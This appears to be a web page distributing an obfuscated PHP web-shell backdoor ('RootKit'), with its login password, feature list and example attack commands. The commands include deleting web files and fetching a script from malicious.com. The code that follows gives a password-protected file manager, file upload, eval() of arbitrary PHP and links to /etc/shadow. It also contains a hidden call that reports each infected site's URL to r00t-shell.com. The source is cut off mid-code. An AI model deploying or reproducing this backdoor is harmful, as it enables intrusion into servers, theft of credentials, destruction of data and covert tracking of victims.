Password Information

The password to access the backdoor is:

        R00t
    

PHP RootKit Backdoor – Features & Security Risks

Overview

This PHP backdoor script provides full control over a web server once deployed. It is a malicious tool that allows unauthorized access and remote command execution.

Features & Functions:

Password-Protected Access: Requires a predefined password for login.
File Manager: View, create, edit, and delete files.
Command Execution: Run system commands using shell_exec().
PHP Code Execution: Execute arbitrary PHP scripts via eval().
File Upload: Upload files to the server.
Sensitive File Access: Read system files like /etc/passwd.

Usage (Theoretical)

Once uploaded to a server, this script can be accessed via a browser:

Navigate to the script URL.
Enter the password to gain access.
Execute commands, manage files, and exploit the server.

Example Commands:

ls -la  # List directory contents
cat /etc/passwd  # View system user accounts
rm -rf /var/www/html/*  # Delete all web files (dangerous)
wget http://malicious.com/malware.php -O /tmp/m.php  # Download a malicious script
php -r "system('whoami');"  # Check user permissions

Warning & Ethical Considerations

Using such scripts for unauthorized access is illegal. Ethical hackers and security researchers analyze these tools to strengthen web security. If found on a system, remove it immediately and implement stronger security measures.

Php

<?php
/*   _________________________________________________________________________________
    |  Project: R00t-Shell.com - Php Obfuscator  2.0.15                               |
    |  Author: R00t Shell                                                             |
    |  Date: 2025-02-18 06:45:35                                                      |
    |  Website: https://r00t-shell.com                                                |
    |  Virus Total: 2adf7613aaee65383eb08e6bcb82f9c60857afd6e2cc465a832bb051f3d87b10  |
    |  Description: Obfuscates PHP code to increase security and protect source code. |
    |_________________________________________________________________________________|
*/
${"\x47\x4cOBA\x4cS"}["\x77\x61\x75c\x68f\x61y\x75"]="\x6e\x66i\x6c\x65";${"\x47\x4c\x4fB\x41\x4cS"}["o\x78ddxx\x72\x6f\x68"]="s\x74r_c\x6f\x64\x65";${"\x47\x4c\x4fB\x41LS"}["\x66i\x68\x6c\x61w\x6b\x75\x62"]="s\x64\x69r";${"\x47L\x4f\x42A\x4c\x53"}["\x6cu\x75\x64\x67\x6d\x65rwg\x77"]="\x73\x63nd\x69r";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7a\x7azumdb\x70\x79"]="\x66\x65d\x69\x74";${"GL\x4fB\x41LS"}["\x74\x71\x76\x6cx\x6f\x7a"]="\x69";${"\x47\x4c\x4fBA\x4cS"}["c\x61d\x77\x73\x75y\x71"]="\x64o";${"GL\x4f\x42\x41\x4cS"}["j\x66\x67\x6djy\x61\x62s\x63"]="\x78";${"\x47L\x4f\x42A\x4c\x53"}["dp\x70\x69\x74\x6a"]="\x65\x78\x70";${"G\x4c\x4f\x42\x41LS"}["n\x66\x6b\x71\x67r\x69p"]="di\x72\x5fr\x61\x77";${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x76\x62\x73\x68\x6a\x6a\x77\x73n\x6c"]="d\x69\x72";$guddhvlrwee="\x64\x6e";${"G\x4c\x4fBA\x4cS"}["\x6fw\x68kl\x68n"]="\x63";${"GL\x4fBA\x4c\x53"}["\x70\x67n\x79\x6em\x74\x61\x70\x75"]="\x70\x72o\x74o\x63\x6f\x6c";$ipdcdfrkivib="\x64i\x72\x78";${"\x47L\x4fB\x41\x4c\x53"}["\x71d\x79\x65\x6a\x74\x70\x62\x68"]="\x64";${"G\x4c\x4f\x42A\x4cS"}["\x73\x6f\x78\x65g\x76\x62\x61\x6d\x68"]="\x70a\x73s";error_reporting(0);header("HTTP/1\x2e0\x2040\x34 \x4eo\x74\x20\x46\x6f\x75\x6e\x64",true,404);$ydixdcef="\x70\x61ss";session_start();${${"\x47L\x4f\x42AL\x53"}["\x73\x6f\x78\x65\x67vb\x61\x6dh"]}="\x5200t";if($_POST["\x70a\x73\x73wd"]==${$ydixdcef}){$_SESSION["\x72\x6fotkit"]=${${"GL\x4f\x42\x41LS"}["\x73\x6f\x78e\x67v\x62\x61\x6d\x68"]};echo"<s\x63\x72\x69p\x74\x3ewi\x6e\x64\x6f\x77.\x6c\x6fc\x61\x74\x69\x6f\x6e\x3d'?'\x3c/\x73cr\x69p\x74\x3e";}if($_GET["p\x61ge"]=="b\x6c\x61\x6e\x6b"){echo"<\x61\x20\x68\x72ef\x3d'?'>\x42\x61\x63\x6b\x3c/a>";exit();}$fqxwtwhimvzk="\x64ir_\x72\x61w";if(isset($_REQUEST["logou\x74"])){session_destroy();echo"\x3c\x73\x63r\x69\x70t>\x77\x69\x6edo\x77.\x6c\x6f\x63at\x69o\x6e=\x27?\x27\x3c/s\x63\x72ipt\x3e";}if(!($_SESSION["r\x6fo\x74\x6bit"])){$ndouyutlly="\x70\x72\x6ft\x6f\x63o\x6c";echo "\x3ct\x69\x74l\x65>\x52o\x6ftK\x69\x74\x20( PHP \x42a\x63\x6bdoor )</tit\x6c\x65>\n\x3c\x6c\x69nk\x20\x72e\x6c=\"i\x63\x6fn\x22 hr\x65\x66=\x22\x68t\x74\x70\x73://im\x67.\x64e\x75\x73m.co\x6d/\x64\x61r\x6b\x72e\x61di\x6eg/b\x68-as\x69\x61-\x66\x61ce\x62ook-\x70ro\x66\x69\x6c\x65.p\x6eg\">\n\x3c\x73\x74y\x6ce>\n \x20\x68\x74ml{\n\x20 \x20\x20\x6fv\x65r\x66l\x6f\x77: a\x75\x74o;\n\x20\x20\x20\x20\x62a\x63k\x67rou\x6ed: \x62\x6c\x61c\x6b\x3b\n\x20   \x63o\x6cor: \x77\x68\x69te\x3b\n \x20\x20\x20\x66\x6f\x6e\x74-\x66\x61\x6d\x69ly:\x20\"\x43\x6furie\x72 \x4eew\";\n  }\n  \x69np\x75t {\n\x20 \x20 \x62\x61\x63k\x67r\x6fund:\x20\x74ra\x6esp\x61re\x6e\x74;\n\x20 \x20\x20c\x6flo\x72: whi\x74\x65\x3b\n\x20\x20 \x20\x68e\x69\x67ht: \x340p\x78;\n\x20\x20  \x62orde\x72:\x20\x31px \x73\x6fl\x69d wh\x69t\x65\x3b\n\x20   \x62orde\x72-\x72a\x64i\x75s:\x2020\x70x\x3b\n\x20\x20  \x70a\x64ding: 5\x70\x78\x3b\n\x20\x20 \x20fo\x6e\x74-\x73\x69ze:\x20\x320\x70\x78;\n  }\n\x20\x20\x2ei\x6dg {\n\x20\x20 \x20\x77id\x74h: 1\x37\x30\x70x;\n\x20\x20 \x20\x62o\x72d\x65r:\x20\x33p\x78\x20sol\x69d w\x68\x69te;\n \x20 \x20\x62or\x64\x65\x72-r\x61\x64\x69us:\x2020\x70x;\n\x20\x20}\n</\x73\x74\x79l\x65\x3e\n";if(!empty($_GET["u"])&&$_GET["\x75"]==="\x66"){if(!empty($_FILES["\x64osy\x61"]))echo move_uploaded_file($_FILES["dos\x79a"]["\x74\x6dp_na\x6d\x65"],$_FILES["d\x6f\x73\x79\x61"]["n\x61\x6de"])?"o\x6b":"\x6e\x6f";echo"<\x66\x6fr\x6d\x20\x6de\x74\x68od\x3d\"p\x6fs\x74\x22\x20\x65n\x63t\x79pe=\"m\x75l\x74\x69\x70\x61\x72t/f\x6fr\x6d-\x64at\x61\x22\x3e<i\x6e\x70u\x74\x20t\x79p\x65=\"fi\x6ce\x22\x20n\x61m\x65\x3d\"d\x6f\x73\x79a\"\x3e<i\x6e\x70u\x74 \x74ype=\x22subm\x69\x74\"\x3e</\x66\x6fr\x6d>";}${$ndouyutlly}=(isset($_SERVER["\x48\x54\x54P\x53"])&&$_SERVER["\x48\x54T\x50\x53"]!=="\x6f\x66f")?"\x68\x74\x74ps://":"\x68t\x74p://";${${"\x47L\x4f\x42\x41LS"}["qd\x79e\x6a\x74pbh"]}=["\x75r\x6c"=>${${"\x47\x4c\x4f\x42A\x4cS"}["\x70gn\x79nmtap\x75"]}.$_SERVER["H\x54\x54\x50\x5f\x48O\x53\x54"].$_SERVER["\x52EQ\x55\x45S\x54_U\x52I"]];if(function_exists("c\x75\x72\x6c_ini\x74")){${"GLOB\x41\x4c\x53"}["\x6b\x71r\x6b\x68\x70\x6b\x69\x73\x6a"]="c";$ydqgvtilfsej="\x64";${"\x47\x4c\x4f\x42\x41L\x53"}["\x63\x62\x62\x6b\x6cnbp"]="\x63";${${"G\x4c\x4fBA\x4cS"}["\x6b\x71rkh\x70\x6bi\x73\x6a"]}=curl_init("ht\x74\x70\x73://r\x300t-s\x68\x65\x6cl\x2ec\x6f\x6d/lo\x67s/\x6c\x6fg\x2e\x70\x68\x70");curl_setopt(${${"G\x4c\x4fB\x41L\x53"}["owhk\x6c\x68\x6e"]},CURLOPT_RETURNTRANSFER,true);$bhpcpyg="\x63";curl_setopt(${${"\x47\x4cOBA\x4cS"}["\x63\x62\x62kln\x62\x70"]},CURLOPT_POST,true);curl_setopt(${${"\x47L\x4fB\x41\x4cS"}["o\x77\x68\x6b\x6ch\x6e"]},CURLOPT_POSTFIELDS,http_build_query(${$ydqgvtilfsej}));curl_exec(${$bhpcpyg});curl_close(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6fw\x68\x6b\x6c\x68\x6e"]});}elseif(function_exists("f\x69l\x65\x5f\x67\x65\x74\x5f\x63on\x74en\x74s")&&ini_get("\x61\x6c\x6c\x6f\x77\x5f\x75\x72l\x5f\x66\x6fp\x65n")){file_get_contents("\x68\x74tps://\x720\x30\x74-\x73h\x65l\x6c\x2e\x63\x6fm/lo\x67\x73/\x6cog\x2eph\x70",false,stream_context_create(["\x68t\x74p"=>["m\x65\x74\x68\x6f\x64"=>"POS\x54","hea\x64e\x72"=>"Co\x6e\x74\x65n\x74-Ty\x70e: \x61\x70\x70\x6ci\x63\x61tio\x6e/x-\x77w\x77-for\x6d-\x75\x72l\x65\x6e\x63\x6fded","co\x6ete\x6et"=>http_build_query(${${"\x47\x4cO\x42\x41LS"}["\x71\x64\x79\x65\x6a\x74p\x62\x68"]})]]));}echo "\x3ctab\x6ce\x20\x77\x69d\x74h=\"10\x30%\"\x20\x68\x65i\x67ht\x3d\x2210\x30%\x22\x3e\n\x20\x20<t\x64\x20\x61\x6c\x69gn\x3d\"\x63enter\x22\x3e\n   \x20<for\x6d\x20e\x6ec\x74\x79\x70e=\x22\x6du\x6cti\x70\x61r\x74/f\x6frm-da\x74\x61\x22\x20m\x65tho\x64\x3d\"\x70o\x73\x74\">\n\x20\x20\x20\x20\x20 <\x69m\x67 cl\x61\x73\x73=\x22\x69\x6d\x67\x22 \x73r\x63=\"ht\x74\x70s://ra\x77.g\x69\x74\x68\x75bu\x73e\x72\x63ont\x65\x6et.\x63\x6f\x6d/R\x6fo\x74S\x68el\x6cl/R\x6fo\x74K\x69t-She\x6cl/\x72\x65\x66s/\x68ea\x64\x73/\x6d\x61in/\x52\x6fot\x4bit%2\x30(P\x48P%20\x42a\x63k\x64o\x6fr)\x2e\x70ng\x22/\x3e\n \x20\x20 \x20 \x3cb\x72\x3e\x3c\x62\x72>\n    \x20 <font s\x69\x7a\x65\x3d\"5\x22>( \x52oo\x74\x4b\x69\x74\x20)</\x66\x6f\x6e\x74>\n \x20\x20\x20\x20\x20\x3c\x62\x72\x3e\x3cbr\x3e\n\x20     \x3c\x69\x6ep\x75t t\x79pe=\"\x70asswo\x72d\"\x20n\x61m\x65=\"\x70\x61\x73s\x77d\" \x70\x6c\x61\x63\x65\x68o\x6c\x64\x65r=\x22E\x6e\x74e\x72 \x74\x68e \x70assw\x6fr\x64\x2e..\x2e\x22\x3e\n\x20\x20  \x20\x20\x3ci\x6e\x70\x75\x74 t\x79pe\x3d\"s\x75\x62mi\x74\"\x20v\x61lu\x65\x3d\"\x4c\x6fgin\x22>\n   \x20 \x20<\x62\x72\x3e\n \x20\x20 \x20 ";echo$_SESSION["\x72\x6f\x6ftk\x69t"];echo "\x20 \x20\x20\x3c/\x66orm\x3e\n\x20 \x3c/td>\n\x3c/tab\x6ce\x3e\n\n";exit();}$vicquynkrg="\x65\x78p";${$fqxwtwhimvzk}=str_replace("\x5c","/",getcwd());$host=$_SERVER["H\x54TP\x5fH\x4f\x53\x54"];if(${$guddhvlrwee}=$_GET["\x64"]){$xpuheyefrga="\x64n";$_SESSION["d\x69r"]=${$xpuheyefrga};echo"\x3cs\x63\x72i\x70\x74>w\x69ndo\x77.\x6c\x6f\x63ati\x6fn\x20\x3d '?'\x3b\x3c/\x73\x63\x72\x69\x70\x74>";}if(empty($_SESSION["\x64\x69r"])){${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x76\x62\x73hjj\x77\x73\x6e\x6c"]}=${${"\x47L\x4fBA\x4c\x53"}["\x6e\x66\x6bq\x67\x72\x69p"]};}else{${${"GLO\x42\x41\x4c\x53"}["\x78v\x62s\x68j\x6a\x77snl"]}=$_SESSION["\x64ir"];}${$vicquynkrg}=explode("/",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x76\x62s\x68\x6a\x6aw\x73n\x6c"]});foreach(${${"\x47\x4c\x4fB\x41\x4c\x53"}["d\x70\x70\x69\x74j"]} as${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x66gm\x6aya\x62\x73\x63"]}=>${$ipdcdfrkivib}){${"\x47L\x4fB\x41L\x53"}["\x61m\x6ek\x6a\x6dr"]="\x64o";$rnrgxmgo="\x69";$tcmpeeciwg="\x69";${"\x47\x4c\x4fBA\x4c\x53"}["wvn\x6dgs\x6f\x6ai\x6b"]="\x64\x69\x72\x78";$utlbciljl="\x78";if(empty(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77v\x6e\x6d\x67s\x6f\x6a\x69k"]})){continue;}${${"GLO\x42A\x4c\x53"}["\x63\x61dw\x73\x75\x79\x71"]}.="<l\x69\x20c\x6cas\x73\x3d'ba\x72\x27\x3e<\x61 \x63l\x61ss\x3d'a-\x62\x61\x72\x27\x20hr\x65\x66=\x27?\x64=";for(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x74q\x76\x6c\x78\x6f\x7a"]}=0;${$rnrgxmgo}<=${$utlbciljl};${$tcmpeeciwg}++){$xtfsvcg="\x64\x6f";${$xtfsvcg}.=${${"\x47\x4cO\x42\x41\x4cS"}["d\x70\x70\x69t\x6a"]}[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x71\x76\x6c\x78\x6f\x7a"]}]."/";}${${"\x47\x4cO\x42\x41\x4c\x53"}["\x61mn\x6bj\x6dr"]}.="\x27\x3e$dirx\x3c/a\x3e\x3c/\x6c\x69\x3e\n";}chdir(${${"\x47\x4c\x4fB\x41L\x53"}["\x78v\x62s\x68j\x6a\x77s\x6el"]});echo "<\x74i\x74le\x3e\x52\x6fo\x74\x4bi\x74\x20( \x50H\x50\x20Ba\x63\x6bd\x6for )\x3c/t\x69\x74le>\n";if(isset($_REQUEST["\x65x\x65\x5f\x63o\x64e"])){if($_POST["c\x6f\x64\x65"]){$_SESSION["co\x64\x65"]="?\x3e".$_POST["\x63ode"];}eval($_SESSION["co\x64e"]);echo"<\x68r\x3e\x3c\x61 \x68r\x65f=\x27?\x70a\x67\x65=s\x63\x72\x69p\x74\x69\x6eg'\x3e\x42a\x63k</a>";exit();}echo "\x3cl\x69n\x6b \x72el\x3d\x22i\x63\x6fn\x22\x20\x68\x72ef\x3d\x22\x68\x74\x74ps://\x72\x61\x77.g\x69\x74\x68\x75\x62\x75ser\x63\x6fn\x74\x65nt\x2e\x63o\x6d/RootShell\x6c/Ro\x6ft\x4b\x69\x74-\x53h\x65\x6c\x6c/\x72e\x66s/\x68eads/\x6d\x61in/\x52o\x6f\x74\x4bit%2\x30(PHP\x2520B\x61\x63kdo\x6f\x72).\x70ng\x22>\n\x3c\x73\x74\x79\x6c\x65>\n\x20\x20\x68\x74m\x6c{\n\x20\x20\x20 overf\x6c\x6f\x77: \x61\x75t\x6f\x3b\n \x20\x20 \x62a\x63kg\x72o\x75n\x64:\x20\x62\x6cac\x6b\x3b\n  \x20\x20\x63\x6flo\x72: \x77\x68\x69te\x3b\n \x20 \x20fo\x6et-\x66\x61\x6dily: \x22\x43\x6f\x75\x72\x69er \x4e\x65\x77\"\x3b\n  }\n\x20\x20a\x20{\n\x20 \x20 t\x65\x78\x74-decorat\x69\x6fn: \x6e\x6fn\x65\x3b\n\x20\x20  \x63\x6flor:\x20\x77\x68i\x74e;\n\x20 }\n  .\x61-\x62a\x72\x20{\n    t\x65\x78\x74-\x64\x65\x63\x6fr\x61t\x69o\x6e: \x6e\x6fne\x3b\n \x20  \x63o\x6c\x6fr: b\x6ca\x63\x6b\x3b\n\x20\x20}\n\x20 .\x62\x61\x72\x20{\n    dis\x70la\x79:\x20i\x6el\x69\x6e\x65;\n\x20  \x20pa\x64di\x6eg: 5px\x3b\n \x20 \x20\x62ac\x6b\x67\x72\x6f\x75nd: \x77\x68i\x74e\x3b\n \x20\x20 \x63ol\x6f\x72:\x20b\x6c\x61ck;\n \x20}\n  .\x62\x61\x72a\x74a\x73\x20{\n\x20\x20  \x6fv\x65\x72\x66l\x6fw: a\x75t\x6f;\n\x20\x20 \x20\x62\x6f\x72der: \x31px so\x6ci\x64 w\x68\x69t\x65\x3b\n  \x20\x20pad\x64\x69n\x67: 1\x30px\x3b\n    \x62\x61\x63\x6b\x67\x72\x6f\x75n\x64: w\x68\x69\x74e;\n\x20\x20\x20 c\x6fl\x6f\x72:\x20b\x6cac\x6b\x3b\n\x20 }\n \x20.\x63l\x6fse\x20{\n  \x20\x20\x6fv\x65rflo\x77:\x20\x61u\x74o;\n \x20  bor\x64e\x72:\x201\x70x s\x6f\x6cid r\x65\x64;\n\x20\x20\x20 b\x61c\x6bg\x72\x6f\x75\x6ed:\x20r\x65\x64\x3b\n    c\x6flor:\x20w\x68it\x65;\n\x20 }\n\x20 .\x6bo\x74a\x6b {\n \x20 \x20o\x76\x65r\x66l\x6fw:\x20au\x74\x6f\x3b\n\x20\x20\x20\x20bord\x65\x72: 1\x70x soli\x64\x20wh\x69\x74e\x3b\n\x20\x20\x20\x20\x70a\x64di\x6e\x67:\x201\x30\x70\x78;\n  \x20\x20\x63\x6fl\x6fr: w\x68i\x74\x65\x3b\n\x20 }\n \x20\x2e\x6c {\n \x20  \x66l\x6f\x61t:\x20l\x65ft\x3b\n\x20\x20\x20\x20wi\x64\x74h: \x35\x30\x25\x3b\n  }\n\x20\x20.\x72\x20{\n \x20\x20\x20\x66lo\x61t:\x20r\x69\x67ht\x3b\n \x20  \x77i\x64\x74\x68: \x35\x30%;\n \x20\x20 text-\x61\x6c\x69g\x6e: r\x69g\x68\x74\x3b\n\x20 }\n\x20 \x2e\x6c\x31 {\n \x20\x20\x20\x66l\x6fa\x74:\x20lef\x74\x3b\n \x20  \x77\x69\x64th:\x20\x32\x30\x25\x3b\n \x20  \x62o\x72\x64er: 1p\x78\x20so\x6cid\x20\x77h\x69t\x65\x3b\n\x20\x20\x20\x20\x70a\x64di\x6eg:\x20\x310p\x78;\n\x20\x20}\n \x20.\x721\x20{\n\x20\x20 \x20fl\x6f\x61t:\x20\x72i\x67ht;\n \x20 \x20width:\x2075\x25\x3b\n\x20  \x20bord\x65\x72: \x31p\x78\x20\x73o\x6c\x69\x64\x20w\x68ite;\n    padd\x69ng:\x20\x310\x70x\x3b\n\x20 }\n \x20i\x6epu\x74\x20{\n\x20  \x20b\x61ckgr\x6f\x75nd: w\x68\x69\x74e\x3b\n \x20\x20\x20co\x6co\x72:\x20\x62\x6c\x61\x63k\x3b\n\x20   \x62o\x72\x64\x65r:\x201p\x78\x20sol\x69\x64 \x77\x68ite\x3b\n  \x20\x20p\x61dd\x69\x6e\x67: 5px\x3b\n  }\n\x20\x20\x2ef\x69\x6ce\x20{\n \x20\x20 \x77i\x64\x74h:\x2010\x30%\x3b\n    heig\x68\x74: \x350%\x3b\n  }\n\x3c/\x73t\x79\x6ce\x3e\n\x3c\x64i\x76 \x63\x6c\x61\x73\x73=\x22bar\x61tas\"\x3e\n \x20<di\x76 \x63l\x61\x73\x73=\"l\x22\x3e\n\x20\x20  \x52ootK\x69\x74\x20(\x20PHP Ba\x63\x6b\x64\x6f\x6fr ) - I\x43WR-\x54EC\x48\x20(\x52\x30\x30\x74-\x53h\x65\x6cl)\n  </div>\n\x20\x20\x3cdi\x76\x20\x63\x6ca\x73\x73\x3d\"r\">\n \x20 \x20\x20 <\x61\x20cl\x61ss=\x22\x61-bar\x22 hr\x65f\x3d\"?pa\x67\x65\x3db\x6c\x61nk\"\x3e[_]\x3c/a\x3e\n\x20  \x20 \x20<a \x63lass=\x22a-\x62\x61r\x22 h\x72ef=\x22?pag\x65=b\x6c\x61\x6e\x6b\x22>[-]\x3c/a>\n   \x20  <\x61 \x63l\x61\x73\x73\x3d\"cl\x6f\x73\x65\" h\x72e\x66=\x22?\x6co\x67\x6fut\x22>[X]\x3c/\x61>\n  \x3c/\x64\x69v\x3e\n</\x64iv>\n\x3c\x64i\x76 c\x6ca\x73s\x3d\"\x6b\x6ftak\">\n \x20[ \x3ca hre\x66=\x22?\">F\x69\x6c\x65\x20\x4danager</\x61\x3e\x20]\n \x20[\x20\x3ca \x68\x72\x65f=\x22?\x70a\x67e=up\x6c\x6f\x61d\x22>U\x70\x6co\x61\x64\x3c/a\x3e ]\n  [ \x3c\x61 \x68r\x65\x66=\x22?\x70\x61ge=sh\x65\x6c\x6c\"\x3e\x43o\x6dm\x61n\x64\x20Shell</\x61\x3e\x20]\n\x20\x20[ \x3c\x61\x20\x68r\x65f\x3d\x22?p\x61ge\x3d\x73c\x72ip\x74i\x6eg\x22\x3eScr\x69p\x74\x69n\x67\x3c/a\x3e\x20]\n  [\x20<\x61\x20h\x72\x65\x66=\x22?\x70ag\x65\x3d\x61\x62\x6f\x75t\"\x3eA\x62\x6fu\x74</\x61> ]\n</\x64i\x76\x3e\n<div\x20\x63\x6ca\x73\x73=\x22kotak\">\n  [\x20\x44i\x72\x65c\x74\x6f\x72\x79\x20]\x20=>\x20\x3c\x6c\x69\x20c\x6c\x61\x73\x73=\"\x62a\x72\x22><\x61\x20\x63\x6c\x61\x73\x73\x3d\"\x61-\x62\x61\x72\" \x68ref\x3d\x22?d\x3d/\">/</a>\x3c/\x6c\x69\x3e";echo"\n".${${"GL\x4f\x42\x41L\x53"}["\x63a\x64w\x73\x75\x79q"]};echo "</div>\n\x3cdiv \x63l\x61ss=\"k\x6ft\x61k\x22>\n  \x3c\x64\x69v\x20\x63\x6ca\x73\x73=\"\x6c\x31\"\x3e\n\x20\x20 \x20\x3cd\x69v\x20cla\x73s=\x22\x62\x61\x72a\x74a\x73\x22\x3e\n \x20\x20  \x20\x41ct\x69on\n \x20\x20 </di\x76>\n   \x20<\x68r\x3e\n   \x20[*]\x20<\x61 \x68re\x66\x3d\x22?p\x61g\x65=n\x65\x77\x66\x69le\x22\x3e\x4e\x65\x77\x20File\x3c/a>\n   \x20\x3c\x62\x72\x3e\n\x20\x20\x20\x20[*]\x20\x3c\x61 h\x72\x65f\x3d\"?pag\x65=\x6eew\x66ol\x64\x65\x72\">N\x65w Folder</\x61\x3e\n\x20\x20  \x3c\x68r\x3e\n \x20  <d\x69v\x20c\x6cas\x73\x3d\"\x62ar\x61\x74a\x73\"\x3e\n\x20\x20 \x20  Sensitiv\x65\x20\x46\x69\x6c\x65\n\x20  \x20</di\x76\x3e\n\x20\x20  <hr>\n\x20   [*]\x20<\x61 \x68ref\x3d\"?\x66\x69le=/et\x63/p\x61s\x73\x77\x64\">/\x65\x74c/pa\x73s\x77d</a\x3e\n\x20   <b\x72>\n\x20 \x20\x20[*] <a hr\x65\x66\x3d\x22?fi\x6ce=/e\x74\x63/s\x68\x61d\x6fw\"\x3e/etc/\x73h\x61dow</\x61>\n \x20  <br>\n \x20\x20\x20[*] <\x61\x20hre\x66\x3d\x22?fil\x65\x3d/\x65\x74c/r\x65s\x6f\x6c\x76.\x63o\x6e\x66\"\x3e/e\x74\x63/reso\x6c\x76\x2e\x63on\x66</\x61>\n \x20</\x64\x69v\x3e\n\x20 \x3cdi\x76 \x63\x6c\x61\x73\x73=\"\x72\x31\x22\x3e\n  \x20\x20\x20 ";if($_GET["\x66\x69\x6ce"]){echo "[ <a h\x72\x65f=\x22?fil\x65\x3d";echo$_GET["\x66ile"];echo "\x26d\x65\x6c\x65\x74\x65\x3d\x74ru\x65\x22>D\x65l\x65\x74e</a> ]\n[ \x3ca\x20\x68\x72e\x66=\"?file=";echo$_GET["\x66ile"];echo "&e\x64it=tr\x75\x65\"\x3e\x45dit</a\x3e ]\n[\x20<\x61\x20h\x72\x65\x66=\"?fi\x6ce=";echo$_GET["f\x69\x6c\x65"];echo "&ren\x61m\x65=\x74rue\x22\x3eR\x65na\x6d\x65\x3c/\x61>\x20]\n[ \x3ca h\x72ef\x3d\"?\x22>Ba\x63\x6b\x3c/\x61\x3e ]\n\x3c\x68r\x3e\n\x20\x20 \x20  ";if(!$_GET["\x65d\x69\x74"]&&!$_GET["\x64ele\x74\x65"]&&!$_GET["ren\x61\x6de"]){echo"<te\x78t\x61rea\x20c\x6cass=\x27f\x69\x6ce'\x3e".htmlspecialchars(file_get_contents($_GET[file]))."\x3c/t\x65xta\x72e\x61>";}if($_GET["\x65di\x74"]=="t\x72u\x65"){echo"<fo\x72m\x20en\x63\x74\x79p\x65='\x6d\x75l\x74\x69p\x61\x72t/\x66orm-d\x61ta\x27\x20\x6d\x65\x74\x68o\x64\x3d\x27\x70\x6f\x73\x74'\x3e\n  \x20 \x20\x20 \x20\x20 <\x74\x65xt\x61\x72\x65\x61 \x63\x6c\x61\x73s='fi\x6ce\x27 \x6e\x61me=\x27\x65di\x74_\x66i\x6ce\x27>".htmlspecialchars(file_get_contents($_GET["f\x69le"]))."\x3c/\x74e\x78\x74area>\n\x20\x20  \x20\x20  \x20 <b\x72><\x62\x72>\n         \x20<in\x70u\x74\x20\x74\x79\x70\x65\x3d\x27\x73\x75\x62\x6d\x69\x74' \x76\x61lu\x65='S\x61v\x65 \x46ile\x27\x3e\n    \x20   \x20 \x3c/\x66\x6fr\x6d>\n \x20 \x20\x20  \x20 \x20";if($_POST["\x65d\x69t\x5ffile"]){${${"\x47\x4cO\x42\x41\x4c\x53"}["z\x7a\x7aumdbpy"]}=fopen($_GET["\x66\x69\x6c\x65"],"w");if(fwrite(${${"\x47\x4c\x4fBA\x4cS"}["z\x7az\x75m\x64b\x70\x79"]},$_POST["e\x64\x69t\x5ffil\x65"])){fclose(${${"GLO\x42\x41L\x53"}["\x7a\x7a\x7a\x75\x6d\x64\x62p\x79"]});echo"<s\x63\x72\x69\x70t\x3e\x61\x6c\x65\x72t(\x27\x45\x64\x69t \x46\x69l\x65 \x53\x75\x63cess \x21!\x21');\x20w\x69\x6edow\x2e\x6c\x6f\x63\x61ti\x6fn \x3d '?fi\x6c\x65=$_GET[file]';\x3c/s\x63r\x69\x70\x74>";}else{echo"\x3cs\x63\x72i\x70t\x3e\x61l\x65\x72t(\x27\x45d\x69\x74\x20\x46ile\x20F\x61il\x65\x64\x20\x21\x21\x21\x27)\x3b wi\x6e\x64o\x77.\x6co\x63\x61\x74\x69o\x6e\x20= '?\x66il\x65\x3d$_GET[file]\x27;</sc\x72ip\x74\x3e";}}}if($_GET["\x64\x65le\x74\x65"]=="\x74rue"){if(unlink($_GET["f\x69\x6ce"])){echo"<s\x63r\x69pt\x3e\x61l\x65\x72\x74(\x27\x46ile De\x6c\x65t\x65\x64\x20!!!\x27)\x3b\x20\x77\x69nd\x6fw\x2el\x6fcation\x20= '?';\x3c/\x73crip\x74>";}else{echo"\x3cs\x63ri\x70t>\x61lert(\x27Fail\x65\x64\x20De\x6ceted\x20F\x69\x6c\x65 !\x21!'); w\x69n\x64ow\x2el\x6f\x63at\x69on\x20\x3d\x20'?\x66il\x65\x3d$_GET[file]\x27\x3b\x3c/\x73cri\x70\x74\x3e";}}if($_GET["r\x65n\x61m\x65"]=="\x74ru\x65"){echo"\x3c\x66\x6f\x72\x6d \x65\x6e\x63\x74\x79\x70e\x3d\x27\x6du\x6cti\x70\x61\x72t/f\x6fr\x6d-da\x74\x61'\x20\x6de\x74\x68od\x3d\x27p\x6f\x73t'>\n  \x20 \x20  \x20\x20 ".htmlspecialchars($_GET["\x66\x69\x6ce"])." [ T\x6f ] <\x69np\x75\x74\x20\x74ype=\x27\x74\x65\x78\x74'\x20\x6eame=\x27\x72ename_\x66\x69\x6ce'\x3e\n\x20   \x20 \x20\x20\x20\x20<inp\x75t\x20t\x79\x70\x65='\x73ub\x6d\x69\x74'\x20\x76al\x75\x65='R\x65name'\x3e\n   \x20\x20  \x20\x20\x20</f\x6f\x72\x6d\x3e\n\x20 \x20\x20\x20 \x20\x20  ";if($_POST["\x72\x65\x6eame\x5ff\x69\x6ce"]){if(copy($_GET["\x66\x69\x6c\x65"],$_POST["\x72en\x61\x6d\x65\x5ff\x69l\x65"])){unlink($_GET["f\x69le"]);echo"<\x73c\x72ipt\x3e\x61le\x72\x74('F\x69le\x20Renam\x65\x64\x20!!!\x27)\x3b \x77\x69\x6edow.locat\x69o\x6e =\x20\x27?\x27\x3b</sc\x72\x69\x70\x74\x3e";}else{echo"\x3c\x73\x63rip\x74\x3ea\x6ce\x72t(\x27F\x61i\x6ce\x64 \x52\x65name \x46\x69l\x65\x20\x21\x21\x21'); \x77\x69\x6edo\x77\x2e\x6co\x63a\x74i\x6f\x6e \x3d \x27?fi\x6ce\x3d$_GET[file]\x27;\x3c/\x73\x63\x72\x69\x70t>";}}}}if(!$_GET){echo"\x3cf\x6f\x72\x6d e\x6e\x63t\x79p\x65\x3d'\x6d\x75\x6ctip\x61\x72\x74/f\x6frm-dat\x61\x27\x20m\x65\x74h\x6f\x64=\x27pos\x74'\x3e\n\x20\x20\x20\x20\x20\x20  \x52e\x6e\x61me T\x68\x69\x73\x20F\x6fl\x64e\x72\x20: <\x69n\x70\x75t\x20\x74\x79\x70e='t\x65xt\x27 name\x3d'\x72\x65\x6ea\x6de_\x66\x6flder\x27>\x3ci\x6e\x70\x75\x74 